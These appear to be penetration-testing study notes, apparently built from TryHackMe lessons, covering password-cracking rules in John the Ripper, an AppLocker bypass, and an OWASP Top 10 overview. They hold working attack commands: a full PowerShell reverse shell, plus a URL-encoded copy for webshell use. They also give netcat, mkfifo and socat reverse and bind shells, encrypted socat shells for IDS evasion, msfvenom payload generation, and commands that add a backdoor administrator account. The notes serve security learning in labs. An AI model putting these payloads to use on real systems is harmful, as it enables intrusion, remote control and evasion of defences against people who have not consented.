* Markus!, Markus$, Markus\* (etc.)

John is building it's own dictionary based on the information that it has been fed and uses a set of rules called "mangling rules" which define how it can mutate the word it started with to generate a wordlist based off of relevant factors for the target you're trying to crack.

#### GECOS

John's implementation of word mangling also features compatibility with the Gecos fields of the UNIX operating system, and other UNIX-like operating systems such as Linux. You can see that each field of /etc/shadow or /etc/passwd is seperated by a colon ":". Each one of the fields that these records are split into are called Gecos fields. John can take information stored in those records, such as full name and home directory name to add in to the wordlist it generates when cracking /etc/shadow hashes with single crack mode.

#### Using Single Crack Mode

To use single crack mode, we use roughly the same syntax that we've used to so far, for example if we wanted to crack the password of the user named "Mike", using single mode, we'd use:

`john --single --format=[format] [path to file]`

\--single - This flag lets john know you want to use the single hash cracking mode.

#### File Formats in Single Crack Mode

If you're cracking hashes in single crack mode, you need to change the file format that you're feeding john for it to understand what data to create a wordlist from. You do this by prepending the hash with the username that the hash belongs to

From: `1efee03cdcb96d90ad48ccc7b8666033` To: `mike:1efee03cdcb96d90ad48ccc7b8666033`

***

### Custom Rules

You can define your own sets of rules, which John will use to dynamically create passwords. This is especially useful when you know more information about the password structure of whatever your target is.

#### Common Custom Rules

Many organisations will require a certain level of password complexity to try and combat dictionary attacks, meaning that if you create an account somewhere, go to create a password and enter: `polopassword`

You may receive a prompt telling you that passwords have to contain at least one of the following:

* Capital letter
* Number
* Symbol

This is good! However, we can exploit the fact that most users will be predictable in the location of these symbols. For the above criteria, many users will use something like the following: `Polopassword1!`

A password with the capital letter first, and a number followed by a symbol at the end. This pattern of the familiar password, appended and prepended by modifiers (such as the capital letter or symbols) is a memorable pattern that people will use, and reuse when they create passwords. This pattern can let us exploit password complexity predictability.

#### Creating Custom Rules

Custom rules are defined in the `john.conf` file, usually located in `/etc/john/john.conf`.

The first line: `[List.Rules:THMRules]` - Is used to define the name of your rule, this is what you will use to call your custom rule as a John argument.

We then use a regex style pattern match to define where in the word will be modified, again- we will only cover the basic and most common modifiers here:

* `Az` - Takes the word and appends it with the characters you define
* `A0` - Takes the word and prepends it with the characters you define
* `c` - Capitalises the character positionally

These can be used in combination to define where and what in the word you want to modify.

Lastly, we then need to define what characters should be appended, prepended or otherwise included, we do this by adding character sets in square brackets `[ ]` in the order they should be used. These directly follow the modifier patterns inside of double quotes `" "`. Here are some common examples:

* `[0-9]` - Will include numbers 0-9
* `[0]` - Will include only the number 0
* `[A-z]` - Will include both upper and lowercase
* `[A-Z]` - Will include only uppercase letters
* `[a-z]` - Will include only lowercase letters
* `[a]` - Will include only a
* `[!£$%@]` - Will include the symbols !£$%@

Putting this all together, in order to generate a wordlist from the rules that would match the example password `"Polopassword1!"` (**assuming the word polopassword was in our wordlist**) we would create a rule entry that looks like this:

* ```
  [List.Rules:PoloPassword]
  cAz"[0-9] [!£$%@]"
  ```
* In order to:
  * Capitalise the first letter - c
  * Append to the end of the word - Az
  * A number in the range 0-9 - \[0-9]
  * Followed by a symbol that is one of \[!£$%@]

[Wiki of Custom Rules](https://www.openwall.com/john/doc/RULES.shtml)

#### Using Custom Rules

We could then call this custom rule as a John argument using the `--rule=PoloPassword` flag. As a full command: `john --wordlist=[path to wordlist] --rule=PoloPassword [path to file]`

Jumbo John already comes with a large list of custom rules, which contain modifiers for use almost all cases. If you get stuck, try looking at those rules \[around line 678] if your syntax isn't working properly.

***


# Evasion Techniques

### Windows Applocker

AppLocker is an application whitelisting technology introduced with Windows 7. It allows restricting which programs users can execute based on the programs path, publisher and hash.

***

#### Bypassing by Placing Executeable in Whitelisted Directory

If AppLocker is configured with default AppLocker rules, we can bypass it by placing our executable in the following directory: `C:\Windows\System32\spool\drivers\color` - This is whitelisted by default.

Use Powershell to download an executable of your choice locally, place it the whitelisted directory and execute it.

***


# Shells

### Types of Shells

At a high level, we are interested in two kinds of shell when it comes to exploiting a target: Reverse shells, and bind shells.

***

### List Installed Shells in Linux

`cat /etc/shells`

***

### Reverse shells

are when the target is forced to execute code that connects back to your computer. On your own computer you would use one of the tools mentioned to set up a listener which would be used to receive the connection. Reverse shells are a good way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target; however, the drawback is that, when receiving a shell from a machine across the internet, you would need to configure your own network to accept the shell. This, however, will not be a problem on the TryHackMe network due to the method by which we connect into the network.

***

### Bind shells

are when the code executed on the target is used to start a listener attached to a shell directly on the target. This would then be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. This has the advantage of not requiring any configuration on your own network, but may be prevented by firewalls protecting the target.

***

### Interactive Shells

If you've used Powershell, Bash, Zsh, sh, or any other standard CLI environment then you will be used to interactive shells. These allow you to interact with programs after executing them. For example, take the SSH login prompt &#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FWHMhtZz1gzYvIxLBZJPb%2Fimage.png?alt=media&amp;token=5061bc42-0d0f-4f26-b53c-eca6f6fd1980" alt=""><figcaption></figcaption></figure>

it's asking interactively that the user type either yes or no in order to continue the connection. This is an interactive program, which requires an interactive shell in order to run.

***

### Non-Interactive shells

In a non-interactive shell you are limited to using programs which do not require user interaction in order to run properly. Unfortunately, the majority of simple reverse and bind shells are non-interactive, which can make further exploitation trickier. Let's see what happens when we try to run SSH in a non-interactive shell: &#x20;

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FPsk1QbAKVBNgHRhannPx%2Fimage.png?alt=media&amp;token=a910eeca-024b-450a-b65d-77cb314916b3" alt=""><figcaption></figcaption></figure>

Notice that the `whoami` command (which is non-interactive) executes perfectly, but the `ssh` command (which is interactive) gives us no output at all. As an interesting side note, the output of an interactive command does go somewhere (redirect the input, output, error descriptors to a file). Suffice to say that interactive programs do not work in non-interactive shells.

***

### Takeaway from Shells

Reverse and Bind shells are an essential technique for gaining remote code execution on a machine, however, they will never be as fully featured as a native shell. Ideally we always want to escalate into using a "normal" method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.

#### Linux

On Linux ideally we would be looking for opportunities to gain access to a user account. SSH keys stored at `/home/<user>/.ssh` are often an ideal way to do this. In CTFs it's also not infrequent to find credentials lying around somewhere on the box. Some exploits will also allow you to add your own account. In particular something like [Dirty C0w](https://dirtycow.ninja/) or a writeable /etc/shadow or /etc/passwd would quickly give you SSH access to the machine, assuming SSH is open.

#### Windows

On Windows the options are often more limited. It's sometimes possible to find passwords for running services in the registry. VNC servers, for example, frequently leave passwords in the registry stored in plaintext. Some versions of the FileZilla FTP server also leave credentials in an XML file at `C:\Program Files\FileZilla Server\FileZilla Server.xml` or `C:\xampp\FileZilla Server\FileZilla Server.xml`. These can be MD5 hashes or in plaintext, depending on the version.

Ideally on Windows you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation it's possible to simply add your own account (in the administrators group) to the machine, then log in over RDP, telnet, winexe, psexec, WinRM or any number of other methods, dependent on the services running on the box. The syntax for this is as follows:

```
net user <username> <password> /add
net localgroup administrators <username> /add
```


# Powershell

### Reverse Shell

```powershell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

In order to use this, we need to replace "" and "" with an appropriate IP and choice of port.

***

### Url Encoded WebShell for Windows Powershell

```powershell
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
```

In order to use this, we need to replace "" and "" with an appropriate IP and choice of port. Also, this works on php webserver file upload vulnerability and this command would be passed in `?cmd=` into the url

***


# Msfvenom

### Introduction

Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly.

it can also be used to generate payloads in various formats (e.g. `.exe, .aspx, .war, .py`)

***

### Syntax

The standard syntax for msfvenom is as follows: `msfvenom -p <PAYLOAD> <OPTIONS>`

For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:

```bash
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
```

***

### **Encoders**

#### Shikata Ga Nai (SGN)

The phrase SGN in the Japanese language means “**nothing can be done**”. SGN is a polymorphic XOR additive feedback encoder. It is polymorphic in that each creation of encoded shellcode is going to be different from the next. It accomplishes this through a variety of techniques such as dynamic instruction substitution, dynamic block ordering, randomly interchanging registers, randomizing instruction ordering, inserting junk code, using a random key, and randomization of instruction spacing between other instructions. The XOR additive feedback piece in this case refers to the fact the algorithm is XORing future instructions via a random key and then adding that instruction to the key to be used again to encode the next instruction. Decoding the shellcode is a process of following the steps in reverse. Its name to use is `x86/shikata_ga_nai`

***

### **Staged vs Stageless**

#### Staged Reverse Shell Payloads

Staged payloads are sent in two parts -- The first part is called the **stager**. This is a piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn't actually contain any **reverse shell code** by itself. Instead it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Staged payloads require a special listener -- usually the Metasploit multi/handler

Staged payloads are harder to use, but the initial stager is a lot shorter, and is sometimes missed by less-effective antivirus software. Modern day antivirus solutions will also make use of the Anti-Malware Scan Interface (**AMSI**) to detect the payload as it is loaded into memory by the stager, making staged payloads less effective than they would once have been in this area.

#### Stageless Reverse Shell Payloads

Stageless payloads are more common. They are entirely self-contained in that there is one piece of code which, when executed, sends a shell back immediately to the waiting listener.

Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discover and remove.

***

### Payload Naming Conventions

When working with msfvenom, it's important to understand how the naming system works. The basic convention is as follows: `<OS>/<arch>/<payload>`

For example:

1. `linux/x86/shell_reverse_tcp`
   * This would generate a stageless reverse shell for an x86 Linux target.
2. The exception to this convention is Windows 32bit targets. For these, the arch is not specified. e.g.:
   * `windows/shell_reverse_tcp`
3. For a 64bit Windows target, the arch would be specified as normal (x64).

In the above examples the payload used was **shell\_reverse\_tcp**. This indicates that it was a stageless payload. **Stageless payloads are denoted with underscores (\_)**.

The staged equivalent to this payload would be: **shell/reverse\_tcp**, **As staged payloads are denoted with another forward slash (/).**

**This rule also applies to Meterpreter payloads**. A Windows 64bit staged Meterpreter payload would look like this: windows/x64/meterpreter/reverse\_tcp

A Linux 32bit stageless Meterpreter payload would look like this: linux/x86/meterpreter\_reverse\_tcp

***

### List Payloads

To list all available payloads, `msfvenom --list payloads`

Which can then be `piped` into grep to search for a specific set of payloads.

***


# Meterpreter

On the subject of Metasploit, another important thing to discuss is a Meterpreter shell. Meterpreter shells are Metasploit's own brand of fully-featured shell.

They are completely stable, making them a very good thing when working with Windows targets. They also have a lot of inbuilt functionality of their own, such as file uploads and downloads.

If we want to use any of Metasploit's post-exploitation tools then we need to use a meterpreter shell.

The downside to meterpreter shells is that they must be caught in Metasploit. They are also banned from certain certification examinations, so it's a good idea to learn alternative methodologies.


# Metasploit -- multi/handler

### Introduction

The `auxiliary/multi/handler` module of the Metasploit framework is, like socat and netcat, used to receive reverse shells. Due to being part of the Metasploit framework, multi/handler provides a fully-fledged way to obtain stable shells, with a wide variety of further options to improve the caught shell. It's also the only way to interact with a meterpreter shell, and is the easiest way to handle staged payloads

***


# Netcat

### Introduction

Netcat is the traditional "Swiss Army Knife" of networking. It is used to manually perform all kinds of network interactions, including things like banner grabbing during enumeration, but more importantly for our uses, it can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system. Netcat shells are very unstable (easy to lose) by default, but can be improved by techniques

***

### Reverse Shells

The syntax for starting a netcat listener using Linux is this: `nc -lvnp <port-number>`

* -l is used to tell netcat that this will be a listener
* -v is used to request a verbose output
* -n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
* -p indicates that the port specification will follow.

We can then connect back to this with any number of payloads, depending on the environment on the target. Like on Target Machine `nc <LOCAL-IP> <PORT> -e /bin/bash`

***

### Bind Shells

If we are looking to obtain a bind shell on a target then we can assume that there is already a listener waiting for us on a chosen port of the target: all we need to do is connect to it. The syntax for this is relatively straight forward: `nc <target-ip> <chosen-port>`

***

### **Shell Stabalization**

These shells are very unstable by default. Pressing Ctrl + C kills the whole thing.

They are non-interactive, and often have strange formatting errors. This is due to netcat "shells" really being processes running inside a terminal, rather than being bonafide terminals in their own right.

Fortunately, there are many ways to stabilise netcat shells on Linux systems. We'll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we'll be covering here is particularly useful for it.

With any of the below techniques, it's useful to be able to change your terminal tty size. This is something that your terminal will do automatically when using a regular shell; however, it must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.

* First, open another terminal and run `stty -a`. This will give you a large stream of output. Note down the values for "rows" and columns
* Next, in your reverse/bind shell, type in:
  * `stty rows <number>`
  * `stty cols <number>`
* Filling in the numbers you got from running the command in your own terminal.
* This will change the registered width and height of the terminal, thus allowing programs such as text editors which rely on such information being accurate to correctly open.

#### Technique 1 (Python)

The first technique we'll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:

1. The first thing to do is use `python -c 'import pty;pty.spawn("/bin/bash")'`, which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replace `python` with `python2` or `python3` as required. At this point our shell will look a bit prettier, but we still won't be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.
2. Step two is: `export TERM=xterm` -- this will give us access to term commands such as clear.
3. Finally (and most importantly) we will background the shell using `Ctrl + Z`. Back in our own terminal we use `stty raw -echo; fg`. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type `reset` and press enter.

#### Technique 2 (rlwrap)

rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with `sudo apt install rlwrap`.

To use rlwrap, we invoke a slightly different listener: `rlwrap nc -lvnp <port>`

Prepending our netcat listener with "rlwrap" gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it's possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with `Ctrl + Z`, then use `stty raw -echo; fg` to stabilise and re-enter the shell.

#### Technique 3 (Socat)

The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a [socat static compiled binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true) (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (`sudo python3 -m http.server 80`), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (`wget <LOCAL-IP>/socat -O /tmp/socat`).

For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (`Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe`).

***

### **Other Linux Listener Methods**

#### Bind Shell

`mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f`

#### Reverse Shell

`mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f`

The commands first creates a named pipe at `/tmp/f`. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into `sh`, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.


# Socat

### Introduction

Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:

1. The syntax is more difficult
2. Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.

The easiest way to think about socat is as a connector between two points, it can be a listening port and the keyboard, however, it could also be a listening port and a file, or indeed, two listening ports. All socat does is provide a link between two points

***

### Reverse Shells

Here's the syntax for a basic reverse shell listener in socat: `socat TCP-L:<port> -`

As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to `nc -lvnp <port>.`

On Windows we would use this command to connect back: `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes`

The "pipes" option is used to force powershell (or cmd.exe) to use Unix style standard input and output. This is the equivalent command for a Linux Target: `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"`

***

### Bind Shells

On a Linux target we would use the following command: `socat TCP-L:<PORT> EXEC:"bash -li"`

On a Windows target we would use this command for our listener: `socat TCP-L:<PORT> EXEC:powershell.exe,pipes`

We use the "pipes" argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener. `socat TCP:<TARGET-IP>:<TARGET-PORT> -`

***

### Fully Stable Linux tty Reverse Shell

This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:

```
socat TCP-L:<port> FILE:`tty`,raw,echo=0
```

Let's break this command down into its two parts.

1. As usual, we're connecting two points together. In this case those points are a listening port, and a file.
2. Specifically, we are allocating a new tty, and setting the echo to be zero. This is approximately equivalent to using the `Ctrl + Z, stty raw -echo; fg` trick with a netcat shell -- with the added bonus of being immediately stable and allocating a full tty.

The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it's possible to upload a [precompiled socat binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true), which can then be executed as normal.

The special command is as follows: `socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane`

Let's break it down.

* The first part is easy -- we're linking up with the listener running on our own machine.
* The second part of the command creates an interactive bash session with `EXEC:"bash -li"`. We're also passing the arguments: pty, stderr, sigint, setsid and sane:
  * pty, allocates a pseudoterminal on the target -- part of the stabilisation process
  * stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
  * sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
  * setsid, creates the process in a new session
  * sane, stabilises the terminal, attempting to "normalise" it.

If, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding `-d -d` into the command. This is very useful for experimental purposes, but is not usually necessary for general use.

***

### Encrypted Shells

One of the many great things about socat is that it's capable of creating encrypted shells -- both bind and reverse. Encrypted shells cannot be spied on unless you have the decryption key, and are often able to **bypass an IDS** as a result.

1. We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:
   * `openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt`
   * This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate. This can be left blank, or filled randomly.
2. We then need to merge the two created files into a single `.pem` file:
   * `cat shell.key shell.crt > shell.pem`

#### Reverse Shell

1. Now, when we set up our reverse shell listener, we use:
   * `socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -`
   * This sets up an OPENSSL listener using our generated certificate. `verify=0` tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. Please note that the certificate must be used on whichever device is listening.
2. To connect back, we would use:
   * `socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash`

#### Bind Shell

1. . For Bind Shell, On Target:
   * `socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes`
2. Attacker:
   * `socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -`

**Again, note that even for a Windows target, the certificate must be used with the listener, so copying the PEM file across for a bind shell is required**

This technique will also work with the special, Linux-only TTY shell covered before.

1. Listener

```bash
socat OPENSSL-LISTEN:<port>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
```

2. Connecter

```bash
socat OPENSSL:<ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```

***


# Web Applications


# OWASP Top 10

The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.

***

### 1. Injection

Injection flaws are very common in applications today. These flaws occur because user controlled input is interpreted as actual commands or parameters by the application.

Some **common examples** include:

* SQL Injection: This occurs when user controlled input is passed to SQL queries. As a result, an attacker can pass in SQL queries to manipulate the outcome of such queries.
* Command Injection: This occurs when user input is passed to system commands. As a result, an attacker is able to execute arbitrary system commands on application servers.

The **main defence** for preventing injection attacks is ensuring that user controlled input is not interpreted as queries or commands. There are different ways of doing this:

* Using an allow list: when input is sent to the server, this input is compared to a list of safe input or characters. If the input is marked as safe, then it is processed. Otherwise, it is rejected and the application throws an error.
* Stripping input: If the input contains dangerous characters, these characters are removed before they are processed.

#### Active Command Injection

Blind command injection occurs when the system command made to the server does not return the response to the user in the HTML document. Active command injection will return the response to the user. It can be made visible through several HTML elements.

***

### 2. Broken Authentication

Authentication and session management constitute core components of modern web applications. A user would enter these credentials, the server would verify them. If they are correct, the server would then provide the users’ browser with a session cookie. A session cookie is needed because web servers use HTTP(S) to communicate which is stateless. Attaching session cookies means that the server will know who is sending what data. The server can then keep track of users' actions.

Some **common flaws** in authentication mechanisms include:

* Brute force attacks : If a web application uses usernames and passwords, an attacker is able to launch brute force attacks that allow them to guess the username and passwords using multiple authentication attempts.
* Use of weak credentials : web applications should set strong password policies. If applications allow users to set passwords such as ‘password1’ or common passwords, then an attacker is able to easily guess them and access user accounts. They can do this without brute forcing and without multiple attempts.
* Weak Session Cookies : Session cookies are how the server keeps track of users. If session cookies contain predictable values, an attacker can set their own session cookies and access users’ accounts.

There can be **various mitigation** for broken authentication mechanisms depending on the exact flaw:

* To avoid password guessing attacks, ensure the application enforces a strong password policy.
* To avoid brute force attacks, ensure that the application enforces an automatic lockout after a certain number of attempts. This would prevent an attacker from launching more brute force attacks.
* Implement Multi Factor Authentication - If a user has multiple methods of authentication, for example, using username and passwords and receiving a code on their mobile device, then it would be difficult for an attacker to get access to both credentials to get access to their account.

***

### 3. Sensitive Data Exposure

When a webapp accidentally divulges sensitive data, we refer to it as "Sensitive Data Exposure". This is often data directly linked to customers (e.g. names, dates-of-birth, financial information, etc), but could also be more technical information, such as usernames and passwords.

At more complex levels this often involves techniques such as a "Man in The Middle Attack"

Database exposure to a public user directory may be example of this vulnerability.

***

### 4. [**XML External Entity (XXE)**](/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/web-applications/xml-external-entity-xxe)

***

### 5. Broken Access Control

Websites have pages that are protected from regular visitors, for example only the site's admin user should be able to access a page to manage other users.

Broken access control allows attackers to bypass authorization which can allow them to view sensitive data or perform tasks as if they were a privileged user.

A regular visitor being able to access protected pages, can lead to the following:

* Being able to view sensitive information
* Accessing unauthorized functionality

Scenarios

1. The application uses unverified data in a SQL call that is accessing account information:
   * ```
     pstmt.setString(1, request.getParameter("acct"));
     ResultSet results = pstmt.executeQuery();
     ```
   * An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.
     * <http://example.com/app/accountInfo?acct=notmyacct>
2. An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.
   * <http://example.com/app/getappInfo> <http://example.com/app/admin\\_getappInfo>
   * If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

#### [Insecure Direct Object Reference (IDOR)](/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/web-applications/insecure-direct-object-reference-idor)

***

### 6. Security Misconfiguration

Security Misconfigurations are distinct from the other Top 10 vulnerabilities, because they occur when security could have been configured properly but was not.

Security misconfigurations include:

* Poorly configured permissions on cloud services, like S3 buckets
* Having unnecessary features enabled, like services, pages, accounts or privileges
* Default accounts with unchanged passwords
* Error messages that are overly detailed and allow an attacker to find out more about the system
* Not using HTTP security headers, or revealing too much detail in the Server: HTTP header

This vulnerability can often lead to more vulnerabilities, such as default credentials giving you access to sensitive data, XXE or command injection on admin pages.

***

### 7. [**Cross-Site Scripting (XSS)**](/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/web-applications/cross-site-scripting-xss)

***

### 8. Insecure Deserialization

Insecure deserialization is replacing data processed by an application with malicious code; allowing anything from DoS (Denial of Service) to RCE (Remote Code Execution) that the attacker can use to gain a foothold in a pentesting scenario.

#### Objects

A prominent element of object-oriented programming (OOP), objects are made up of two things:

* State
* Behaviour

#### De(Serialization)

Serialisation is the process of converting objects used in programming into simpler, compatible formatting for transmitting between systems or networks for further processing or storage.

Alternatively, deserialisation is the reverse of this; converting serialised information into their complex form - an object that the application will understand.

<figure><img src="https://1920086362-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDfv51K0WXLZdwTryHQZc%2Fuploads%2FvOQZzegMVYwK4qfOEnN0%2Fimage.png?alt=media&amp;token=eee49a82-f0f2-48a5-9bf3-820b93f1ff5e" alt=""><figcaption></figcaption></figure>

#### Cookies

Cookies are an essential tool for modern websites to function. Tiny pieces of data, these are created by a website and stored on the user's computer.

Cookies are not permanent storage solutions like databases. Some cookies such as session ID's will clear when the browser is closed, others, however, last considerably longer. This is determined by the "Expiry" timer that is set when the cookie is created.

**Some Attributes of Cookies**

* Cookie Name (required)
* Cookie Value (required)
* Secure Only -- If set, this cookie will only be set over HTTPS connections (not required)
* Expiry (not required)
* Path -- The cookie will only be sent if the specified URL is within the request (not required)

***

### 9. Components with Known Vulnerabilities

Occasionally, you may find that the company/entity that you're pen-testing is using a program that already has a well documented vulnerability.

For example, let's say that a company hasn't updated their version of WordPress for a few years, and using a tool such as wpscan, you find that it's version 4.6. Some quick research will reveal that WordPress 4.6 is vulnerable to an unauthenticated remote code execution(RCE) exploit, and even better you can find an exploit already made on [exploit-db](https://www.exploit-db.com/exploits/41962).

***

### 10. Insufficent Logging & Monitoring

When web applications are set up, every action performed by the user should be logged. Logging is important because in the event of an incident, the attackers actions can be traced. Once their actions are traced, their risk and impact can be determined.

The bigger impacts of these include:

* **regulatory damage**: if an attacker has gained access to personally identifiable user information and there is no record of this, not only are users of the application affected, but the application owners may be subject to fines or more severe actions depending on regulations.
* **risk of further attacks**: without logging, the presence of an attacker may be undetected. This could allow an attacker to launch further attacks against web application owners by stealing credentials, attacking infrastructure and more.

The information stored in logs should include:

* HTTP status codes
* Time Stamps
* Usernames
* API endpoints/page locations
* IP addresses

These logs do have some sensitive information on them so its important to ensure that logs are stored securely and multiple copies of these logs are stored at different locations.

The ideal case is having monitoring in place to detect any suspicious activity. The aim of detecting this suspicious activity is to either stop the attacker completely or reduce the impact they've made if their presence has been detected much later than anticipated. Common examples of suspicious activity includes:

* **multiple unauthorised attempts** for a particular action (usually authentication attempts or access to unauthorised resources e.g. admin pages)
* **requests from anomalous IP** addresses or locations: while this can indicate that someone else is trying to access a particular user's account, it can also have a false positive rate.
* **use of automated tools**: particular automated tooling can be easily identifiable e.g. using the value of User-Agent headers or the speed of requests. This can indicate an attacker is using automated tooling.
* **common payloads**: in web applications, it's common for attackers to use Cross Site Scripting (XSS) payloads. Detecting the use of these payloads can indicate the presence of someone conducting unauthorised/malicious testing on applications.

***


# File Upload Vulnerabilities

### Introduction

When handled badly, file uploads can also open up severe vulnerabilities in the server.

This can lead to anything from relatively minor, nuisance problems; all the way up to full Remote Code Execution (RCE) if an attacker manages to upload and execute a shell.

By uploading arbitrary files, an attacker could potentially also use the server to host and/or serve illegal content, or to leak sensitive information. Realistically speaking, an attacker with the ability to upload a file of their choice to your server -- with no restrictions -- is very dangerous indeed.

***

### Overwriting Existing Files

When files are uploaded to the server, a range of checks should be carried out to ensure that the file will not overwrite anything which already exists on the server.

Common practice is to assign the file with a new name -- often either random, or with the date and time of upload added to the start or end of the original filename.

File permissions also come into play when protecting existing files from being overwritten.

***

